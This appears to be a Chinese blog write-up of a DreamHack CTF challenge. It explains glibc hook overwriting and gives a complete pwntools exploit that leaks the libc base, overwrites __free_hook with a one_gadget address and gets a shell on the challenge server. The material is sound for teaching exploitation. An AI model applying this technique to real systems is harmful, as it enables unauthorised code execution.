【How2Pwn】DreamHack 中的Hook Overwrite问题

0x00 源代码

// gcc -o init_fini_array init_fini_array.c -Wl,-z,norelro
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main(int argc, char *argv[]) {
    long *ptr;
    size_t size;

    initialize();

    printf("stdout: %p\n", stdout);

    printf("Size: ");
    scanf("%ld", &size);

    ptr = malloc(size);

    printf("Data: ");
    read(0, ptr, size);

    *(long *)*ptr = *(ptr+1);
   
    free(ptr);
    free(ptr);

    system("/bin/sh");
    return 0;
}

原题链接

0x01 查看代码状态和保护机制

$ checksec ./hook
[*] '/home/ni/workspace/dreamhack/pie/hook'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

这里我们可以看见除了PIE,其他的保护机制都处于开启的状态。

什么是PIE?

PIE是指即使映射到随机地址上也可以运行的可执行程序。原来只有ASLR开启时,堆栈,公用库的地址会被随机映射,但是 main 函数的地址是不会随机映射的,这也就导致可以使用 ROP 通过 gadget 的方式利用原有的代码来制作恶意代码。但是PIE开启时main函数地址也会随机映射,所以不能得到 gadget 使用ROP,这时候就要选择其他的办法进行攻击。

什么是Hook,为什么要知道?

钩子编程(hooking),也称作“挂钩”,是计算机程序设计术语,指通过拦截软件模块(英语:Modular programming)间的函数调用、消息传递、事件传递来修改或扩展操作系统、应用程序或其他软件组件的行为的各种技术。处理被拦截的函数调用、事件、消息的代码,被称为钩子(hook)。

钩子在编程中很常见,在函数中用于监视函数,也可以在函数中增加功能等。比如在free, malloc函数中植入钩子可以监视软件内存的释放和分配。

想要绕过PIE保护机制,其中可以使用的一种方式就是Hook Overwrite。可以将钩子植入free, melloc。使得这类函数在调用时,可以执行自己写的恶意代码。这样不需要绕过canary,即使Full RELRO开启可以写入libc。

Hook的弱点

在libc中有很多为了debug存在的函数。例如__malloc_hook,系统会先检查是不是NULL,如果不是的话就继续调用malloc函数。同理free,realloc等函数也有与之对应的hook函数。

通而这些钩子函数都被定义在libc.so中,而且是bss段中。bss段中的数据都是有可写权力的,也就是说可以操作里面的变量。

0x02 分析代码

现在看回源代码,可以看到题目给了stdout的地址,然后自己分配一块内存并且在其中存入自定数据,最后通过free函数释放掉自己分配的内存。这里我们可以通过用system函数的地址覆盖掉free函数的地址,达到目的。但是具体要怎么覆盖free函数,要看下面这串代码。

*(long *)*ptr = *(ptr+1);

这是一个双重指针,目的是将ptr[0]中的值换成ptr[1]中的值。如果在ptr[0]中存入_free_hook,在ptr[1]中存入system函数的地址,就可以将_free_hook指向free函数的指针转变成指向system函数的指针。如此操作,下次free(ptr)的时候实际调用的是system函数

0x03 设计payload

1. 利用stdout地址计算出system函数的地址

方式和之前ROP的几章方法完全一致,这里直接给出代码供参考。但是需要注意stdout函数的地址,不能直接使用symbols[“stdout”],而是要用标准库中的 == _IO_2_1_stdout==

from pwn import*
def slog(n,m): return success(": ".join([n,hex(m)]))

#p = process("./hook")
p = remote("host3.dreamhack.games", 19151)
e = ELF("./hook")
libc = ELF("libc.so.6")

#[1] leak base
p.recvuntil("stdout: ")
leak = int(p.recv(14),16)
lb = leak - libc.symbols["_IO_2_1_stdout_"]
hook = lb + libc.symbols["__free_hook"]

slog("leak base", lb)
slog("hook", hook)

运行一下,结果如下

hook.py:12: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("stdout: ")
[+] leak base: 0x7f02d924d000
[+] hook: 0x7f02d96137a8

可以看到成功得到了hook的地址。

2. hook中写入one gadget

在hook地址上用one gadget覆盖,这样就可以直接get shell了。同时生成ptr的时候给一个大一点的值。至于one gadget是什么可以先参考一下这篇文章 glibc里的one gadget 解释的很详细。这个题目给定了一个库,所以可以直接在库中找到我们可以使用的one gadget

$ one_gadget ./libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

然后修改一下,加入找到的one gadget。

one_gadget = 0x4526a

magic = lb + one_gadget

payload = p64(hook) + p64(magic)
p.sendlineafter("Size: ", "400")
p.sendlineafter("Data: ", payload)

0x04 完整Exploit

from pwn import*
def slog(n,m): return success(": ".join([n,hex(m)]))

#p = process("./hook")
p = remote("host3.dreamhack.games", 12635)
e = ELF("./hook")
libc = ELF("libc.so.6")

one_gadget = 0x4526a

#[1] leak base
p.recvuntil("stdout: ")
leak = int(p.recv(14),16)
lb = leak - libc.symbols["_IO_2_1_stdout_"]
hook = lb + libc.symbols["__free_hook"]

slog("leak base", lb)
slog("hook", hook)

magic = lb + one_gadget

#[2]
payload = p64(hook) + p64(magic)
p.sendlineafter("Size: ", "400")
p.sendlineafter("Data: ", payload)

p.interactive()

运行结果

hook.py:12: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("stdout: ")
[+] leak base: 0x7fbcef736000
[+] hook: 0x7fbcefafc7a8
hook.py:24: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendlineafter("Size: ", "400")
/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
[*] Switching to interactive mode
$ ls
flag
hook

https://xz.aliyun.com/t/2720

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值